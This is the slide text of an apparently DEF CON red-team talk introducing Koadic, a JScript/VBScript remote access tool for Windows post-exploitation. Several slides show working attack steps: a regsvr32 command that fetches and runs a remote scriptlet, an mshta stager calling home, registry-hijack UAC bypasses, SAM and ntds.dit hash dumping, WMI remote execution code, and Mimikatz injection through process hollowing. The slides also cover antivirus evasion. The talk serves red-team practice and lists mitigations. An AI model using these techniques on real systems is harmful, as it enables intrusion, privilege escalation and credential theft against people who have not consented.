Agenda

- Current open-source "malware" options for red teams
- Koadic (C3)
  - Advanced JScript/VBScript RAT
- The hell we went through
- Demos
whoami /all

- @zerosum0x0
- @Aleph___Naught
- @JennaMagius
- @The_Naterz

Red Team @ RiskSense, Inc
First things first...

- "SMBLoris" attack
  - Windows 0-day denial-of-service
Notes

- Not responsible for other people's actions
- A ton of overlapping research, incremental work
  - Consolidate research/techniques
  - "Advances state of the art"
- Meme slides = dirty hack/workaround
- Prototype
  - Used on real engagements
  - Submit fixes, not tixes
Intrusion Phases

- Reconnaissance
- Initial Exploitation
- Establish Persistence
- Install Tools
- Move Laterally
- Collect, Exfil, and Exploit

Source: Rob Joyce, NSA/TAO Director, Enigma 2016
Current State of Windows Post Exploitation

- Yet but a few open-source "malware" options for red teams
  - Meterpreter
  - Cobalt Strike
  - PowerShell Empire

- Roll your own...
  - A decent option- the bad guys do
Downsides of PE Malware

- Meterpreter is amazing software!
- Post-exploitation (and some exploits [psexec]) often involve dropping a binary
  - Binaries are what AV love
  - Need to evade payload
    - Veil Evasion
    - Shellter

Malware Detected
Windows Defender is taking action to clean detected malware.
Downside of PowerShell

- Empire is amazing software!
- Requires PowerShell (duh)
  - Officially- Server 2008 SP2*
  - Requires modern .NET
- Extensive logging/disabling mechanisms

WTS C3 - COM C&C

- Target Win2k SP0
  - Possibly earlier
- JScript/VBScript
  - Baked directly into the core of Windows
    - Not an addon-- harder to limit
  - Powerful COM exposed by the OS
  - Creative use of default .exe's
- Ways to execute completely in memory
  - The main benefit of PowerShell
COM Background

- Component Object Model
  - Language neutral
  - Object oriented
  - Binary interface
  - Distributed

- Arguable precursor to .NET
  - Slightly different goals and implementation
    - AKA "still relevant"?

- Found EVERYWHERE in Windows
Downsides of WSH

- No access to Windows API
- No real threading
- Missing a lot of "standard" functions
  - Base64
    - Can be done with other programs
- Unicode strings
  - Bad for making structs/shellcode
Downsides of VBScript

- Shlemiel the Painter problem with string indexing (Mid)
  - Inefficient string iterations
  - @JennaMagius: "Bring the Bucket With You"
- Insane exception handling method
  - "On error resume next", for every scope
- Definitely not lingua franca

Shlemiel gets a job as a street painter, painting the dotted lines down the middle of the road. On the first day he takes a can of paint out to the road and finishes 300 yards of the road. "That's pretty good!" says his boss, "you're a fast worker!" and pays him a kopeck.

The next day Shlemiel only gets 150 yards done. "Well, that's not nearly as good as yesterday, but you're still a fast worker. 150 yards is respectable," and pays him a kopeck.

The next day Shlemiel paints 30 yards of the road. "Only 30!" shouts his boss. "That's unacceptable! On the first day you did ten times that much work! What's going on?" "I can't help it," says Shlemiel. "Every day I get farther and farther away from the paint can!"
Readline Improvements

- Readline is the interactive shell
- When shells/messages start to rain in...
  - Output overwrites input
- @JennaMagius fixed it, redraw
  - Commit to Metasploit in PR #7570
  - Still an issue in Empire
Koadic Terminology

- **Zombie**
  - a hooked target
- **Stager**
  - web server to perform hook
- **Implant**
  - starts jobs on a zombie
- **Job**
  - does something interesting
Architecture Overview

Initial Attack Vector Provides Shell Access

PowerShell Empire

Create Zombie
MSHTA • RegSvr • Rundll

Beacon to C+C

Send Implants

Repeatly Ask for Command

Report Back

Send Further Command and/or Implant

Pivot

Zombie 1

Zombie 2

Zombie N

Pivot
Download
Upload
Port Scanning
Plugin Architecture

- **run() method**
  - Stager - Spawns HTTP server
  - Implant - Starts Job
- ~VARIABLE~ based JS files
- "stdlib.js" helper functions
  - Run commands
  - Upload/download
  - File I/O
  - HTTP I/O
    - Report on jobs
Implant Categories

- Pivot
- Persistence
- Manage
- Elevate
- Gather
- Scan
- Fun
- Inject
Stager Architecture

- Generally, hook by manual command
  - Can hook from IE, Office macros, etc.
- Python simple HTTP/S threaded server
  - Encryption through TLS/SSL (depending on target)
- Long-poll
- When a job is ready, clones itself twice and dies
Stager Job Cloning

- **Hook:** If not "Session ID"
  - Assigned a session ID
    - Fork stage
- **Stage:** If "Session ID" present
  - long-poll to get a "Job ID"
    - Fork stage
    - Fork job
    - Exit
- **Job:** If "Session ID" && "Job ID"
  - Send job payload
    - Do work
    - Report
    - Exit
regsvr32.exe

- COM Scriptlets
  - Still written to disk
- Present on Windows 2000
- Less sandboxed than MSHTA

```bash
C:\Users\rs>regsvr32.exe /s /u /i:https://pastebin.com/raw/5Qniq2h scrobj.dll
```
MSHTA.exe Stager

- HTML "Applications"
  - Access to registry, filesystem, shell, etc.
  - Some IE security zone sandboxing
- Payload is tiny
  - But missing on Windows 2000

```
(koadic: stager/js/mshta)$ info

NAME           VALUE       REQ  DESCRIPTION
--------------- -------- ---- -----------------------
LHOST          0.0.0.0     yes  Where the stager should call home
LPORT          9999       yes  The port to listen for stagers on
EXPIRES        9999       no   MM/DD/YYYY to stop calling home
CERTPATH       no          no   Certificate path for TLS communications

(koadic: stager/js/mshta)$ run
[+] Spawned a stager at http://192.168.1.223:9999/PShL5
[>] mshta http://192.168.1.223:9999/PShL5
```
Hidden HTA

- Experimented with many techniques to hide window
- Later saw malware samples do same thing
rundll32.exe

- Abuses path/command line parsing
  - Loads MSHTML.DLL
  - Executes JScript
- Basically same thing as mshta.exe
- Less Window visibility
  - MSHTA stager forks to rundll32.exe
Script Unresponsive

- Can long-poll HTTP forever, np
  - Because it's a COM call
- Run too many lines of JScript
  - Even just a few milliseconds?
  - Abort!!

HKCU\Software\Microsoft\Internet Explorer\Styles\MaxScriptStatements
"Uploading" Files

● Binary data is hard to work with...
● Writing byte-by-byte uses limited instructions
● `Adodb.Stream.Write(http.responseBody)`
  ○ Can't write stream directly to file
  ○ But... information theory allows it
"Uploading" Files

IT'S NOT A "DATA SOURCE FROM A DIFFERENT DOMAIN"

IF YOU CONVERT AN ADODB.STREAM TO AN ADODB.RECORDSET

```javascript
Koadic.http.bin2str = function(responseBody)
{
    var stream = new ActiveXObject("Adodb.Stream");
    stream.Type = 1;
    stream.Open();
    stream.Write(responseBody);

    // can't write Adodb.Stream to file ;(  

    stream.Flush();
    stream.Position = 0;

    var bin = stream.Read();
    var rs = new ActiveXObject("Adodb.RecordSet");
    rs.Fields.Append("temp", 201, stream.Size);

    rs.Open();
    rs.AddNew();
    rs("temp").AppendChunk(bin);
    rs.Update();
    var data = rs.GetString();
    rs.Close();
    rs.Close();
    return data.substring(0, data.length - 1);
}
```
"Downloading" Files

- Post data is double encoded
  - Windows-1252
  - UTF-8
- Can't send NULL bytes `\x00`
  - We add another layer of encoding
    - `\` = `\\`
    - `\0` = `\\\x30`
- Extremely slow to decode()
  - So we use hard-coded lookup table
DEMO

Upload+Download, SHA256 verify
UAC Bypasses

- eventvwr.exe by @enigma0x3
  - HKCU\Software\Classes\mscfile\shell\open\command
- sdclt.exe by @enigma0x3
  - HKCU\Software\Classes\exefile\shell\runas\command
- fodhelper.exe by winscripting.blog
  - HKCU\Software\Classes\ms-settings\shell\open\command
- UACME by @hFireF0X
  - Future work, 35+ methods
Dumping NTLM on Local Machines

- Stored in registry hives
  - `reg save HKLM\SAM sam.dmp /y`
  - `reg save HKLM\SYSTEM system.dmp /y`
  - `reg save HKLM\SECURITY security.dmp /y`

- Download to C3 server

- Decode with CoreSecurity/Impacket
  - `secretsdump.py -sam %s -system %s -security %s LOCAL`
Dumping NTLM from Domain Controllers

- Make shadow copy
  - vssadmin create shadow /for=C:
  - copy shadow\windows\ntds\ntds.dit %TEMP%\ntds.dit
  - reg save HKLM\SECURITY security.dmp

- Download to C3 Server

- Decode with CoreSecurity/Impacket
  - secretsdump.py -ntds %s -system %s -hashes LMHASH:NTHASH LOCAL
DEMO

Bypass UAC, Hashdump
HTTP

● Several HTTP COM Object ProgIDs
  ○ Msxml2.XMLHTTP
  ○ Msxml2.ServerXMLHTTP
  ○ Microsoft.XMLHTTP
  ○ Microsoft.ServerXMLHTTP
  ○ WinHttp.WinHttpRequest
  ○ etc.

● Same basic interface
  ○ Drastically different behaviors
TCP Scanner

- Use HTTP object to "port scan"
  - AJAX Port Scanner

- Depending on status code, determine if port open

```c
// Microsoft.XMLHTTP (regsvr32, wscript)
HTTP_STATUS_UNSUPPORTED = 12005;  // ??
HTTP_STATUS_BAD = 12029;          // closed
OPEN_ERRNO = 0x80004005;         // open
HTTP_STATUS_GOOD = 12031;         // open
// any HTTP_STATUS < 1000 = open

// WinHttp.WinHttpRequest.5.1 (MSHTA)
UNSUPPORTED_PORT = 0x80072f45;  // ??
CONNECTION_ERROR = 0x80072efd;  // closed
WRONG_PROTOCOL = 0x80072f78;    // open
OPERATION_CANCELED = 0x80072ef1; // open
ABNORMAL_TERMINATION = 0x80072efe; // open
```
PSEExec

- Microsoft signed
- No need to "upload" binary
  - `\\live.sysinternals.com@SSL\tools`
- "Dirty bit" are you sure?
  - Bypass is: use a different way to exec it?
- `psexec \computer\ -u domain\user -p pwd -accepteula ~CMD~`
### WMI

- Start command remotely
- Runs in session 0
  - No GUI = no UAC bypass
  - Need hacks

```javascript
var objSWbemLocator = new ActiveXObject("WbemScripting.SWbemLocator");

objSWbemLocator.Security_.ImpersonationLevel = 3;
objSWbemLocator.Security_.AuthenticationLevel = 6;
var objSWbemServices = objSWbemLocator.ConnectServer("~RHOST~", "root\cimv2", "~SMBDOMAIN~\~SMBUSER~", "~SMBPASS~");

objSWbemServices.Security_.ImpersonationLevel = 3;
objSWbemServices.Security_.AuthenticationLevel = 6;

var intProcessID = 0;
var objProcess = objSWbemServices.Get("Win32_Process")

status = objProcess.Create("~CMD~", null, null, null, intProcessID);
```
DEMO

TCP Scan, Pivot
Excel COM Object

- Work gave us Office licenses, we found a good use for them...
- Many workstations have Office
- Excel spreadsheets can be created in memory
  - No need for GUI at all
- Excel spreadsheets have macros
  - Run any VBA, with access to Windows API
  - Shellcode
  - Reflective DLLS
DotNetToJs

- Attack by @tiraniddo
- Uses COM objects installed with .NET
- Load custom serialized object
  - Access to Windows API
DynamicWrapperX

- Written by Yuri Popov (Freeware)
- Allows access to Windows API
- Drop DLL and Manifest
- Registration-free COM
  - Avoids COM registry writes
  - @subTee "re-discovered"

virustotal

SHA256: 4ef3a6703abc6b2b8a2c3031c1e5b86fe8b377fde92737349ee52bd2604379
File name: dynwrapx
Detection ratio: 0 / 61
Analysis date: 2017-06-20 07:31:52 UTC (1 day, 10 hours ago)
• @clymb3r fork added to Mimikatz core
  ○ Goal: we want to use this existing DLL
• PowerShell Empire uses "memory module"
  ○ DLL mapping performed in PowerShell
    ■ Not reflective injection
    ■ We're limited on instructions
• "mimishim.dll"
mimishim.dll

- Normal Reflective DLL
- Built-in HTTP
- Determines if x64 system and x86 process
  - Forks if necessary
- Process hollowing of %WINDIR%\sysnative\notepad.exe
- Injects powerkatz.dll
  - privilege::debug - SeDebugPrivilege
  - token::elevate - NT AUTHORITY\SYSTEM
  - Runs the custom command
    - sekurlsa::logonPasswords
DEMO

Mimikatz
Mitigations

- Device Guard/AppLocker/CI
- Block:
  - WSH
  - HTA
  - SCT
- Delete all .exes!
- Delete all COM objects!
  - Including script parsers!
Add to Metasploit

● Additional targets for command/Binary drop modules
  ○ Such as psexec
● Iterate over all methods of forking to shellcode
  ○ Until one works
Future Work

- Clean up code
- JavaScript Minimizer/obfuscator
- getsystem
- Persistence implants
- Close some DoS vectors
Related Talks

- COM in Sixty Seconds
  - James Forshaw @ INFILTRATE 2017
- Windows Archaeology
  - Casey Smith and Matt Nelson @ BSides Nashville 2017
- Establishing a Foothold with JavaScript
  - Casey Smith @ Derbycon 2016
Thanks!

- @zerosum0x0
- @Aleph___Naught

https://github.com/zerosum0x0/koadic

- DEF CON Workshop - Saturday @ 14:30 - Octavarius 5
  - Windows Post-Exploitation/Malware Forward Engineering
  - shellcode, winapi, COM, .NET